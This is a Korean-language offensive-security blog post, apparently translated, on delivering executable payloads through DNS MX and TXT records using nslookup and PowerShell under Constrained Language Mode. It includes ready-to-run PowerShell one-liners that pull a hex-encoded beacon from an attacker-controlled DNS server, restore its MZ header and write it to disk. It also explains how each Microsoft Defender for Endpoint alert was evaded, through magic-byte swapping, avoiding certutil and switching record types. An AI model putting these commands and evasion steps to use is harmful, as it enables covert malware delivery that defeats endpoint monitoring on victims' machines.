
PowerShell과 Nslookup을 사용하여 DNS TXT/MX 레코드를 통해 데이터를 유출하고 페이로드를 전달하는 DNS 터널링 도구로, 제한된 언어 모드(Constrained Language Mode)와 엔드포인트 방어를 우회합니다.
Cobalt Strike DNS 비콘과 관련된 최근 작업에 영감을 받아, Microsoft Defender for Endpoint를 회피하려는 임무 목표와 함께 DNS를 사용하여 페이로드를 대상 머신으로 전송하는 방법을 조사하는 데 시간을 보냈습니다. 나아가 PowerShell이 Constrained Language Mode에 있을 때에도 가능한 방식으로 이를 수행하는 데 도전하고 싶었습니다. 이 연구는 최신 Windows 구현(예: Win10+, Server 2019+)을 대상으로 했지만, 나중에 보시겠지만 하위 버전에서도 가능할 수 있습니다.
DNS 터널링은 오랫동안 존재해 온 기술로, 다양한 공격자들이 사용해 왔습니다. 기본적으로 DNS 프로토콜을 데이터 침투/유출 수단 또는 C2 통신 채널로 사용하는 것을 의미합니다. 이 주제에 대한 자세한 내용은 많은 블로그 게시물을 참조할 수 있습니다.
이렇듯 오래되고 잘 알려진 기술이기 때문에 많은 조직에서 이를 방지하기 위한 탐지 방법을 마련해 두고 있습니다.
DNS 터널링에 사용되는 DNS 레코드 유형은 역사적으로 TXT였습니다. 그 이유는 TXT 레코드가 다른 레코드보다 더 많은 데이터를 저장할 수 있고 대소문자를 구분하기 때문입니다. 다른 레코드들은 대소문자를 구분하지 않아 인코딩에 영향을 줄 수 있습니다.
Constrained Language Mode(CLM)는 PowerShell의 제한적인 언어 모드로, PowerShell의 기능과 허용되는 기능을 크게 줄입니다. 간단히 나열하면, .NET, COM 객체, 공격자들이 선호하는 (new-object net.webclient).downloadstring... 등은 사용할 수 없습니다. 이 링크에서 더 자세한 정보를 확인할 수 있습니다. 조직은 공격 표면 축소 규칙의 일환으로 일반 사용자에게 이 정책을 적용합니다. 이는 사실상 공격자로서의 우리의 삶을 더 어렵게 만듭니다.
대부분의 사람들은 Nslookup 같은 도구를 사용하면서 DNS를 대략적으로는 알고 있을 것입니다. 기본적으로 클라이언트가 쿼리를 보내면 DNS 서버가 해당 쿼리에 대한 응답을 반환합니다. CNAME, A, AAAA, TXT, MX, NS 등 여러 종류의 DNS 레코드가 있으며, 각 레코드는 서로 다른 정보를 저장하고 반환할 수 있습니다. 이러한 레코드는 DNS 서버가 제공하는 Zonefile에 구성됩니다.
예제 zonefile은 여기에 나와 있습니다.``` $ORIGIN example.com. @ 3600 SOA ns1.p30.dynect.net. ( zone-admin.dyndns.com. ; address of responsible party 2016072701 ; serial number 3600 ; refresh period 600 ; retry period 604800 ; expire time 1800 ) ; minimum ttl 86400 NS ns1.p30.dynect.net. 86400 NS ns2.p30.dynect.net. 86400 NS ns3.p30.dynect.net. 86400 NS ns4.p30.dynect.net. 3600 MX 10 mail.example.com. 3600 MX 20 vpn.example.com. 3600 MX 30 mail.example.com. 60 A 204.13.248.106 3600 TXT "v=spf1 includespf.dynect.net ~all" mail 14400 A 204.13.248.106 vpn 60 A 216.146.45.240 webapp 60 A 216.146.46.10 webapp 60 A 216.146.46.11 www 43200 CNAME example.com.
example.com의 NS 레코드를 조회하면 ns1.p30.dynect.net, ns2.p30.dynect.net, ns3.p30.dynect.net, ns4.p30.dynect.net이 반환됩니다.
# 연구
## 도메인 이름 등록
시작하기 전에 우리가 제어하고 DNS 서버를 실행할 IP를 가리키도록 DNS 레코드를 설정하는 방법에 대해 간략히 설명해야 합니다. 아래와 같이 도메인을 구매하고 "ns1" 하위 도메인에 "dns" 하위 도메인을 가리키는 DNS 레코드를 설정했습니다. "ns1" 하위 도메인에는 서버의 공용 IP가 할당됩니다.

즉, "dns.edu....com"에 대한 모든 조회는 "ns1.edu....com"으로 전달되며, 여기에는 IP 3..86이 할당됩니다. 해당 IP에 DNS 서버를 설정하여 우리의 레코드를 제공할 것입니다. 이 부분은 나중에 다시 다루겠습니다.
## 클라이언트 측 도구 찾기
제 탐구는 간단한 구글 검색 "powershell dns module"으로 시작되었으며, [이](https://docs.microsoft.com/en-us/powershell/module/dnsclient/?view=windowsserver2022-ps) 링크가 반환되었습니다. 특히 관심을 끈 것은 Resolve-DnsName 명령어였습니다. 이는 잘 알려진 Nslookup.exe 바이너리의 PowerShell 구현체로 보입니다. 특정 유형의 레코드를 요청할 수 있습니다:

좋습니다. DNS 쿼리를 수행하고 응답을 검색할 수 있는 PowerShell 모듈이 있습니다. 제한된 언어 모드(Constrained Language Mode)에서도 작동할까요? 대답은 '그렇기도 하고 아니기도 하다'입니다.
여기서 볼 수 있듯이 새 PowerShell 창을 열고, Resolve-DnsName을 실행한 다음 PowerShell을 CLM으로 전환하고(간단한 ::WriteLine 호출로 테스트), 다시 Resolve-DnsName을 실행하면 문제 없이 작동합니다:

하지만 새 PowerShell 창을 열고 즉시 CLM으로 전환한 다음 Resolve-DnsName을 실행하려고 하면 실패합니다:

모듈이 미리 로드된 경우 CLM이 적용된 후에도 실행이 가능하지만, CLM은 모듈이 아직 로드되지 않은 경우 로드를 방지하는 것으로 보입니다. 대상 환경에서 사용자에게 CLM이 기본적으로 적용되어 있고(특정 모듈이 미리 로드되어 있는지 또는 DnsClient가 그중 하나인지 알 수 없는 경우)를 고려하여, 이 시점에서 Resolve-DnsName을 버리고 전통적인 Nslookup.exe로 돌아가기로 결정했습니다.

Nslookup.exe는 IT 도구 키트의 필수 요소이며 합법적인 목적으로 널리 사용되는 바이너리입니다. 애플리케이션 허용 목록이 문제가 되는 환경에서도 실행이 허용될 가능성이 높습니다.
Nslookup은 Resolve-DnsName 쿼리와 거의 동일한 정보를 반환하며, 적절한 시점에 약간 다르게 조작하기만 하면 됩니다.
## 실행 파일을 DNS 레코드로 변환?
좋습니다. 피해자 컴퓨터에서 DNS 쿼리를 수행할 수 있는 방법이 있습니다. Nslookup이 검색할 수 있는 형식으로 페이로드를 어떻게 제공할 수 있을까요?
실행 파일은 당연히 바이너리 파일이므로 사람이 읽을 수 없습니다. 따라서 데이터를 DNS 레코드에 넣고 Nslookup 같은 도구가 복구할 수 있는 형식으로 변환해야 합니다. 사용 가능한 인코딩 옵션은 많지만, 주요 고려 사항은 피해자 박스가 기본 Windows 도구와 CLM에서 사용 가능한 기능만으로 디코딩할 수 있는지입니다. Base64가 명백하고 자주 선택되는 답변입니다.
Base64를 사용하여 실행 파일을 거대한 사람이 읽을 수 있는 문자열로 변환한 다음, 많은 DNS 레코드로 분할하고 Nslookup을 사용하여 복구할 수 있습니다. 클라이언트 측에서는 잘 알려진 LOLBAS certutil.exe를 사용하여 수집된 DNS 레코드를 Base64 디코딩하여 바이너리 형식으로 되돌릴 수 있습니다.
이를 위해 DNS 레코드 유형에 대해 좀 더 이야기해야 합니다. 각 레코드 유형은 특정 형식으로 특정 정보를 저장합니다. 예를 들어 A 레코드는 IPv4 주소(111.111.111.111)를 저장하고 반환합니다. AAAA 레코드는 IPv6 주소를 반환하고, MX 및 NS 레코드는 도메인 이름을 반환하며, TXT 레코드는 255자 길이의 문자열을 반환할 수 있습니다. 앞서 언급했듯이 레코드 길이와 대소문자 구분 문제로 인해 TXT 레코드는 공격자에게 확실한 선택이었습니다. 더 적은 수의 레코드가 필요하고 Base64와 같은 인코딩과 호환되기 때문입니다.
이것이 어떻게 보이는지 살펴보겠습니다.
Kali VM에서 실행 파일을 Base64로 인코딩할 수 있습니다. -w 0 스위치를 사용하면 모든 개행 문자가 제거되어 한 줄의 Base64 텍스트가 됩니다:

파일을 보면 Base64가 표시됩니다:

이제 이 Base64 인코딩된 파일을 DNS TXT 레코드로 변환하여 DNS 서버에서 제공해야 합니다.
이 과정에서 배운 몇 가지 사항을 간략히 요약하겠습니다:
**1.** 단일 DNS 쿼리에 대해 여러 레코드가 반환될 때, 순서대로 반환된다는 보장이 없습니다. 이는 우리 목적에 매우 중요합니다. 모든 TXT 레코드에서 파일을 재조립해야 하며, 순서가 맞지 않으면 작동하지 않기 때문입니다.
**2.** 중복 레코드는 쿼리에 대해 반환되지 않습니다. 예를 들어 영역 파일에 3개의 TXT 레코드가 있고 그중 2개에 동일한 정보가 포함된 경우, 해당 도메인에 대해 TXT 레코드를 조회하면 고유한 레코드만 반환되므로 2개의 레코드만 반환됩니다. 순서 문제는 차치하더라도, Base64 인코딩된 페이로드에서 흔히 볼 수 있는 "AAAAA"와 같은 큰 섹션을 여러 TXT 레코드로 채워야 하는 경우, 영역 파일에 여러 개가 있더라도 "A"로 채워진 TXT 레코드 중 하나만 반환됩니다.
이러한 점을 고려하여 각 DNS 쿼리에 대해 단일 TXT 레코드만 반환되도록 해야 합니다. 여기서 하위 도메인이 등장합니다. "dns.edu...com"을 "edu....com"의 하위 도메인으로 등록한 것처럼, 추가 하위 도메인(예: 1.dns.edu....com)에 대한 레코드를 제공할 수 있습니다. 필요한 모든 TXT 레코드를 제공하기 위해 필요한 만큼 많은 하위 도메인을 만들 수 있습니다.
Base64로 인코딩된 페이로드를 살펴보겠습니다:

앞서 언급했듯이 각 TXT 레코드에 255자를 넣을 수 있습니다. 413,696 / 255 = 반올림하여 1,623입니다. 이는 많은 TXT 레코드(그리고 결과적으로 많은 하위 도메인)입니다. 하지만 시작점입니다.
Base64로 인코딩된 페이로드를 읽어 들여 영역 파일을 생성하는 Python3 스크립트를 작성했습니다:

이 스크립트는 Base64로 인코딩된 페이로드(comp.txt)를 열고 "chunkstring" 함수(스택 오버플로 게시물에서 가져옴)를 사용하여 파일을 255자 덩어리로 분할한 후 TXT 레코드를 생성합니다. 여기서 IP는 가짜/임의이며 불필요합니다.
생성된 영역 파일을 보면 TXT 레코드가 표시됩니다:

각 TXT 레코드의 맨 왼쪽에 있는 숫자는 하위 도메인을 나타냅니다.
이제 영역 파일이 생성되었으므로 DNS 서버에 복사한 다음 제공해야 합니다. 이를 위해 [CoreDNS](https://github.com/coredns/coredns)를 사용했습니다:

이것은 포트 53에서 dns.edu....com에 대한 쿼리를 수락하고 있음을 보여줍니다. Corefile에서 이전 단계에서 생성된 영역 파일을 지정하여 레코드를 제공하도록 했습니다. 레코드가 작동하는지 테스트하기 위해 1.dns.edu....com의 TXT 레코드에 대해 nslookup을 실행하겠습니다:

TXT 레코드가 나타납니다!
## 공격!
이제 nslookup을 1623번 실행해야 합니다. 이상적이지는 않지만, 지금으로서는 이것이 우리가 할 수 있는 방법입니다. 각 하위 도메인에 대해 nslookup을 실행하고 TXT 레코드($temp[5])만 선택한 다음 $results를 점진적으로 구축하는 PowerShell 한 줄 명령을 사용할 것입니다. 그런 다음 $results를 ./temp.txt에 쓰고, 마지막으로 certutil을 사용하여 temp.txt를 custombeacon.exe로 디코딩합니다.```powershell
$results="";for($num = 1; $num -le 1623 ; $num++){$temp = nslookup -type=TXT "$num.dns.edu....com" 2> $null;$temp = $temp[5].replace("`t","").replace("`"","");$results = $results + $temp};$results > ./temp.txt;certutil -decode ./temp.txt ./custombeacon.exe
명령어를 실행하면 CoreDNS 서버의 모든 DNS 요청이 표시됩니다:

그리고 클라이언트에서는 Certutil 명령어가 성공했음을 확인할 수 있습니다:

출력 길이가 원본 EXE와 일치하며 (정상 실행됨) - 훌륭합니다!

하지만 문제가 있습니다. 평가 랩 머신의 MDE 대시보드를 살펴보겠습니다:

여기서 해결해야 할 5개의 경고가 있습니다 (테스트 중 동일한 공격 체인을 두 번 실행하여 중복된 상위 두 개의 "Suspicious usage of certutil.exe to decode an executable" 경고는 무시합니다).
1. Suspicious System Network Configuration Discovery - 이는 'Resolve-DnsName' cmdlet 사용과 관련됩니다 (이 테스트는 별도의 이유로 Nslookup으로 전환하기 전에 실행되었습니다)

2. DNS attack tool or activity - 이는 데이터를 은밀히 전송하는 데 TXT 레코드를 사용하는 것과 관련됩니다

3. / 4. / 5. - Suspicious usage of certutil.exe to decode an executable / Use of living-off-the-land binary to run malicious code

이 경고는 Nslookup으로 전환할 것이기 때문에 무시할 것입니다. 문제가 계속되는지 확인해 볼 것입니다. 잘 모르겠지만, 이러한 종류의 경고는 우선순위가 낮고 매우 쉽게 트리거되는 성격 때문에 많은 조직에서 무시될 수도 있다는 의심이 듭니다.
이 경고는 TXT 레코드를 사용하여 페이로드를 은밀히 전송하는 것과 관련됩니다. TXT 레코드는 오랫동안 이러한 활동에 선호되어 왔으며 그럴 만한 이유가 있으므로 그리 놀랍지 않습니다. 여기서 해결책은 대체 레코드 유형을 시도해 보는 것이며, 이는 다음 경고에서 다룰 내용과 함께 탐구할 것입니다.
certutil이 페이로드를 디코딩하는 데 플래그된 것도 그리 놀랍지 않습니다. 이는 오래된 트릭이며, 제대로 된 조직이라면 경고해야 합니다. 하지만 이 경고는 흥미롭게도 구체적입니다. 실행 파일(executable)을 디코딩하는 데 사용되었다는 점을 강조합니다. 이로 인해 Base64로 인코딩하기 전에 페이로드의 매직 바이트를 조작한 다음, 클라이언트 측에서 certutil로 디코딩한 후 다시 매직 바이트를 원래대로 되돌리면 어떻게 될지 궁금해졌습니다. 여기서 자세히 보여주지는 않지만, 이는 실제로 이 경고를 우회했으며, 기본 PowerShell 기능만을 사용하여 certutil로 Base64 페이로드를 디코딩한 다음 매직 바이트를 다시 MZ로 변경하여 페이로드를 실행 가능하게 만들 수 있었습니다.
페이로드를 은밀히 전송하기 위해 TXT 레코드 대신 MX 레코드를 사용해 보기로 결정했습니다. 이 블로그 게시물에 따르면 유효한 DNS 이름의 최대 길이는 255자입니다.``` (63 letters).(63 letters).(63 letters).(62 letters)
MX 레코드는 도메인 이름을 반환하므로 각 옥텟에 꽤 많은 데이터를 넣을 수 있을 것입니다. 약간의 테스트 후 각 레코드를 조금 줄여 각 옥텟에 50자씩, MX 레코드당 총 200자를 넣기로 결정했습니다.
그러나 문제가 있습니다. DNS 레코드의 경우 TXT와 SPF(TXT 레코드의 한 유형) 레코드만 대소문자를 구분합니다. 우리의 인코딩 언어인 Base64는 대소문자를 구분합니다. 이 문제를 해결하는 데 몇 시간을 소비했지만, 결론적으로 Base64를 사용하려면 MX 레코드를 사용할 수 없습니다. Nslookup이 항상 레코드를 소문자로 반환하여 인코딩이 깨지기 때문입니다.
우리는 대소문자를 구분하고 Base64와 호환되는 다른 레코드 유형을 찾거나, CLM의 Windows/PowerShell이 기본적으로 디코딩할 수 있는 다른 인코딩 언어를 찾아야 합니다.
약간의 [연구](https://stackoverflow.com/questions/64925863/how-to-use-powershell-to-convert-hex-string-to-bin) 끝에 PowerShell이 .NET을 사용하지 않고도 16진수를 이진수로 변환할 수 있다는 것을 발견했습니다:```powershell
$hex = Get-Content -Path "C:\blah\exe-bank.txt" -Raw
# split the input string by 2-character sequences and prefix '0X' each 2-hex-digit string
# casting the result to [byte[]] then recognizes this hex format directly.
[byte[]]$bytes = ($hex -split '(.{2})' -ne '' -replace '^', '0X')
[System.IO.File]::WriteAllBytes("C:\blah\exe-bank.exe", $bytes)
위의 내용을 약간 수정하면 ([System.IO.File]... 대신 $bytes | set-content....을 사용) 우리 목적에 맞게 작동할 것입니다.
MX 레코드에는 "preference" 값도 있습니다. 이는 본질적으로 해당 도메인에 대해 어떤 MX 서버를 사용해야 하는지에 대한 우선순위 순서입니다. 이는 앞서 zonefile 예시에서 MX 레코드의 도메인 이름 앞에 있는 "10 20 및 30" 값으로 확인할 수 있습니다. 이 preference 값을 활용하여 서브도메인당 여러 MX 레코드를 포함시키고, preference 값으로 정렬하여 데이터가 올바른 순서로 오도록 할 수 있습니다. 이렇게 하면 TXT 레코드로 서브도메인당 단일 레코드를 가져올 때보다 Nslookup을 호출하는 횟수를 획기적으로 줄일 수 있습니다.

위 그림과 같이 레코드가 순서 없이 반환될 수 있지만, preference 값을 사용하여 다시 정렬할 수 있습니다.
이를 구현하기 위해 먼저 페이로드를 16진수로 변환하는 작은 Python3 스크립트를 작성했습니다:


그런 다음 원래 Python3 스크립트를 수정하여 TXT 레코드 대신 MX 레코드가 있는 zonefile을 생성했습니다:

주요 차이점은 이제 한 번에 200자를 청크로 나누고 서브도메인당 100개의 MX 레코드를 할당한다는 것입니다. 이는 j 변수로 추적되며, MX 레코드에서 j는 preference 값입니다. 첫 번째 레코드부터 10으로 시작하여 10씩 증가해 1000까지 올라갑니다. j가 1010에 도달하면 10으로 재설정되고 i가 1씩 증가합니다. 여기서 i 변수는 각 MX 레코드에 지정된 서브도메인입니다.
이 스크립트는 다음과 같은 zonefile을 생성합니다 (zonefile의 끝 부분 표시):

여기에는 두 개의 서브도메인 (31.dns.edu....com 및 32.dns.edu....com)과 각각의 여러 레코드가 표시됩니다. 레코드는 각 MX 뒤에 오는 preference 값으로 구분할 수 있습니다 (31.dns.edu....com: 960, 970, 980, 990, 1000; 32.dns.edu....com: 10, 20, 30).
이 새로운 형식을 수용하려면 powershell 명령을 상당히 수정해야 합니다. Powershell ISE에서 스크립트를 주석과 함께 표시하여 각 단계에서 무슨 일이 일어나는지 더 잘 설명했지만, 실제로는 다음과 같은 작업을 수행합니다:
-1. 각 서브도메인에 대해
--A Nslookup 실행
--B Nslookup이 반환한 각 MX 레코드에 대해
---a. 데이터 부분만 추출하여 MX preference 값으로 정렬된 순서대로 배열에 저장
--C 각 데이터 문자열을 누적 $results 문자열에 추가

그런 다음 $results를 가져와 디스크에 쓰기 전에 16진수를 다시 바이너리로 변환해야 합니다. 여기서 앞서 보여준 powershell을 사용합니다.
한 줄로 압축하면 다음과 같습니다:```powershell $results="";for($num = 1; $num -le 32; $num ++){$a = nslookup -type=MX "$num.dns.edu....com" 2> $null;$arr = New-Object string[] ($a.count - 3);for($i = 3; $i -le $a.count - 1; $i++){$a[$i] -match '= ?(.),' > $null;$temp = $matches[1];$a[$i] -match 'r = ?(.)' > $null;$arr[$temp/10 - 1] = $matches[1].replace(".dns.edu....com","").replace(".","");$matches = $null};Foreach($j in $arr){$results=$results + $j.replace("`n","")}};[byte[]]$bytes = ($results -split '(.{2})' -ne '' -replace '^', '0X');$bytes | set-content -encoding byte .\custombeacon.exe
## 두 번째 시도
MDE 랩 테스트 박스에서 파워셸 명령을 실행하고 무슨 일이 일어나는지 봅시다 (CLM 상태이지만 표시되지 않음):

비콘을 실행합니다 (여기서 백엔드에서 DNS 비콘을 사용하기 위해 더 많은 마법이 일어났습니다)

"SuspiciousFileDrop" 동작에 대한 경고가 하나 발생했지만 "위협 없음"으로 해결되었습니다... 더 탐구할 것이 있습니다. 하지만 TXT 레코드나 Certutil을 사용하여 실행 파일을 디코딩하는 것과 관련된 모든 경고는 사라졌습니다.

## 왼쪽으로 한 걸음만...
MDE는 파워셸이 페이로드를 디스크에 쓰는 것을 좋아하지 않았습니다. 이해할 수 있습니다; 결론적으로 Nslookup이 인터넷에서 알 수 없는 실행 파일을 가져와 디스크에 저장했습니다. 이를 어떻게 완화할 수 있을까요?
페이로드의 매직 바이트를 다시 살펴보기로 결정했습니다. 제 가설은 페이로드의 매직 바이트를 예를 들어 .txt 파일의 매직 바이트로 변경하고 디스크에 쓴 다음, 해당 파일을 새 변수로 읽어와 매직 바이트를 다시 MZ(실행 파일)로 변경하고 다시 디스크에 쓰면, 기능적인 실행 파일이 디스크에 저장되는 I/O 작업이 인터넷에서 가져온 데이터가 아닌 이미 디스크에 존재하는 .txt 파일에서 비롯되므로 MDE를 속일 수 있을 것이라는 것이었습니다.
한번 시도해 봅시다.
공격 박스에서 VIM을 사용하여 실행 파일을 열 수 있습니다. 처음 두 바이트에 실행 파일임을 나타내는 MZ 헤더가 있습니다:

:%!xxd를 입력하면 파일을 16진수 형식으로 편집할 수 있습니다:

그리고 처음 두 바이트를 FF FE로 변경합니다 (UTF-16LE 바이트 순서 표시로, 일반적으로 텍스트 파일에서 볼 수 있음, https://en.wikipedia.org/wiki/List_of_file_signatures 참조):

이제 :%!xxd -r을 입력하여 16진수 편집기를 닫아야 합니다. 그러면 매직 바이트가 실제로 교체되었음을 보여줍니다:

그런 다음 VIM을 저장하고 종료합니다.
다시 페이로드를 16진수로 변환하고 python3 스크립트를 사용하여 변경된 페이로드를 MX 레코드에 배치하여 DNS 서버에서 제공할 것입니다.
클라이언트 측에서는 매직 바이트를 수정하고 실행 파일을 다시 작동하게 하기 위해 파워셸 명령을 수정해야 합니다. 앞서 언급했듯이, MDE의 SuspiciousFileDrop 경고를 피하기 위해 먼저 "txt" 파일을 디스크에 쓴 다음 get-content를 사용하여 메모리로 다시 가져올 것입니다. 파워셸 명령에 대한 관련 수정 및 추가 사항은 다음과 같습니다:```powershell
$bytes | set-content -encoding byte .\out.txt;[byte[]]$readfile = get-content .\out.txt -encoding byte -raw;$readfile[0x00] = 0x4D;$readfile[0x01] = 0x5A;$readfile | set-content .\new.exe -encoding byte
이 명령에서는 먼저 다운로드한 페이로드(.txt 매직 바이트 포함)를 out.txt로 디스크에 기록한 다음, 이를 바이트 배열 $readfile로 읽어들이고 첫 번째와 두 번째 바이트를 각각 0x4D와 0x5A로 설정하여 페이로드의 MZ 헤더를 복원합니다. 그런 다음 $readfile을 set-content로 파이프하여 기능하는 페이로드를 new.exe로 디스크에 기록합니다.
MDE VM에서 시도해 보겠습니다. (참고: 명령이 약간 다르게 보이는데, 이는 다음 섹션에서 다루겠습니다.)

대시보드는 어떨까요?

성공입니다!
DNS 요청과 Constrained Language Mode에서 사용 가능한 PowerShell 명령을 통해 페이로드를 성공적으로 다운로드하고 기능적 형식으로 복원했습니다. MDE는 어떤 것도 경고하지 않았지만, MDE는 실제로 무엇을 볼까요? 정답은 모든 것입니다.
테스트 머신의 이벤트 타임라인을 살펴보고 PowerShell 관련 이벤트로 필터링해 보겠습니다.

이 이미지에서 PowerShell이 호출한 몇 가지 nslookup.exe 호출을 볼 수 있으며, 각각 "T1016: System Network Configuration Discovery" 이벤트를 발생시켰습니다. 또한 "powershell.exe dropped a packed file new.exe"가 표시되는데, 이는 매직 바이트가 변경된 후 기능하는 실행 파일이 디스크에 다시 쓰여졌음을 의미합니다. 이는 여러 이벤트 ID를 트리거하며, 그중 주목할 만한 것은 "T1027.002: Software Packing"입니다.
이러한 이벤트를 필터링하면 각각이 얼마나 흔하거나 드문지, 그리고 우리의 행동이 컴퓨터의 정상적인 활동 잡음과 얼마나 잘 섞일 수 있는지 확인할 수 있습니다.
T1016을 살펴보겠습니다.

모든 nslookup 호출이 보이지만, WaAppAgent.exe 및 WindowsAzureGuestAgent.exe와 같은 프로세스에 의해 생성된 다른 이벤트도 보입니다. 이들은 다시 ipconfig.exe 및 arp.exe와 같은 것을 실행했습니다. 따라서 여러 다른 실행 파일이 T1016: System Network Configuration Discovery를 트리거할 수 있습니다. 이는 눈에 띄지 않으려는 우리에게 좋은 소식입니다.
T1027을 살펴보겠습니다.

여기서는 소식이 덜 좋습니다. T1027.002: File Packing에 대한 유일한 이벤트는 우리의 powershell.exe가 페이로드를 디스크에 기록하는 것입니다. 이 이벤트가 우리 행동에 대해 왜 발생하는지 완전히 확신할 수는 없지만, DNS 침투 방법과는 관련이 없고 실행 파일을 디스크에 쓰는 것과 더 관련이 있다고 생각합니다. 어쨌든 이는 실제 경고를 생성하지 않았으며, 단지 기록된 이벤트일 뿐입니다.
기록된 이벤트는 얼마나 많고 정상적인 컴퓨터 기능은 얼마나 잘 분류되어 있을까요? 정답은 "많다"와 "별로 없다"입니다. PowerShell 이벤트를 찾기 위해 스크롤하는 도중 다음을 발견했습니다.

확실히 의심스러워 보입니다... 무슨 일일까요?

아. 그냥 Windows Defender ATP가 PowerShell 명령을 실행하는 것입니다.
MDE가 기록하는 이벤트의 수는 어마어마합니다. 실제 경고에 걸리지 않는 한, 방어자가 조사할 이유를 주지 않는 한 기록된 행동이 적극적인 사고 대응 중에 발견될 것에 대해 크게 걱정하지 않습니다.
작동하는 POC가 있지만, 이제 제품을 개선할 때입니다. 여기서 세 가지 주요 목표가 있었습니다.
자동화
신뢰성
효율성
먼저 실행 파일을 16진수로 변환한 다음 영역 파일을 생성하는 Python 스크립트를 결합했습니다. 다음으로 영역 파일을 채울 도메인 이름에 대한 모든 정적 참조를 제거했습니다. 이제 명령줄 인수를 통해 전달됩니다. 세 번째로 페이로드의 복사본을 만들고 매직 바이트를 수정하는 기능을 추가했습니다. 이 수정된 복사본이 영역 파일 내에서 MX 레코드로 변환되어 VIM이 필요 없게 되었습니다. 마지막으로 Python 스크립트는 올바른 nslookup 반복 횟수(페이로드 길이에 따라 달라짐)와 nslookup을 실행할 도메인이 포함된 PowerShell 원라이너를 출력합니다. 이 Python 스크립트는 "createzonefile.py"로 업로드되었습니다.

공격의 신뢰성을 높이기 위해 Python 스크립트가 MX 레코드를 생성하는 방식에 대해 몇 가지 작업을 했습니다. 주요 문제점은 마지막 MX 레코드였습니다. 이 레코드는 페이로드의 나머지 부분을 포함하며, 다른 모든 레코드는 200자로 채워집니다. 이 레코드에 남은 데이터 양에 따라 1, 2, 3 또는 4개의 옥텟이 부분적으로 또는 완전히 채워질 수 있습니다. 이전의 간단한 Python 스크립트에서 마지막 MX 레코드가 4개 미만의 옥텟을 사용하는 경우(예: 레코드가 "0000000000000000000000.000000.."일 수 있음) nslookup이 레코드를 가져오지 못한다는 것을 발견했습니다. 페이로드 크기나 마지막 MX 레코드의 데이터 양에 관계없이 올바르게 형식이 지정되고 예상대로 작동하도록 새로운 로직을 구현하고 테스트했습니다.
Python 스크립트에서 PowerShell 원라이너를 구현한 것은 신뢰성을 위한 또 다른 단계입니다. 올바른 nslookup 반복 횟수와 영역 파일에 지정된 동일한 도메인 이름이 제공되도록 보장하기 때문입니다.
마지막 요점은 주로 PowerShell 원라이너에 관한 것입니다. 대상 머신에서 수동으로 입력해야 할 경우 명령의 길이를 최대한 줄이려고 했습니다. 매직 바이트를 교체하는 추가 스크립트를 고려하기 전에 약 30% 정도 줄일 수 있었습니다.
이러한 절감은 몇 가지에서 비롯됩니다.

더 할 수 있는 일이 있을 것 같지만, 저는 PowerShell에 능숙하지 않습니다.
MZ 매직 바이트를 복원하고 임시 .txt 파일을 삭제하는 최종 개선된 PowerShell 원라이너는 다음과 같습니다.```powershell $o="";for($a = 1; $a -le <NUMBER_OF_SUBDOMAINS>; $a ++){$b = nslookup -type=MX "$a.<YOUR_DOMAIN_HERE>" 2> $null;$c = @($null)*($b.count - 3);for($i = 3; $i -le $b.count - 1; $i++){$d = ($b[$i] | sls -patt '(?<==\s)((\d|\w){1,50}.?){1,4}' -a).matches.Value;$c[$d[0]/10 - 1] = $d[1].replace(".","")};$c.foreach({$o = $o + $_})};[byte[]]$e = ($o -split '(.{2})' -ne '' -replace '^', '0X');$f = ".\a.txt";$e | sc -en byte $f;[byte[]]$g = gc $f -en byte -raw;$g[0x00] = 0x4D;$g[0x01] = 0x5A;$g | sc .\pay.exe -enc byte;ri $f
# 마무리 생각
제한적인 환경에서 HTTP/S나 기타 일반적인 방법이 통하지 않을 때, DNS를 이용한 페이로드 침투는 매력적인 선택지가 될 수 있습니다. 이러한 환경에서 다음 장애물은 실제로 페이로드를 실행하는 일일 가능성이 높습니다. 애플리케이션 허용 목록(Application Whitelisting)을 우회하는 것은 제가 앞으로 시간을 들여 파고들 주제입니다.
끝까지 함께해 주신 분들께 감사드립니다. 이 주제를 탐구하고 발전시키느라 며칠 동안 바쁘게 보냈고, 여러분도 그랬듯이 저도 분명 많은 것을 배웠습니다.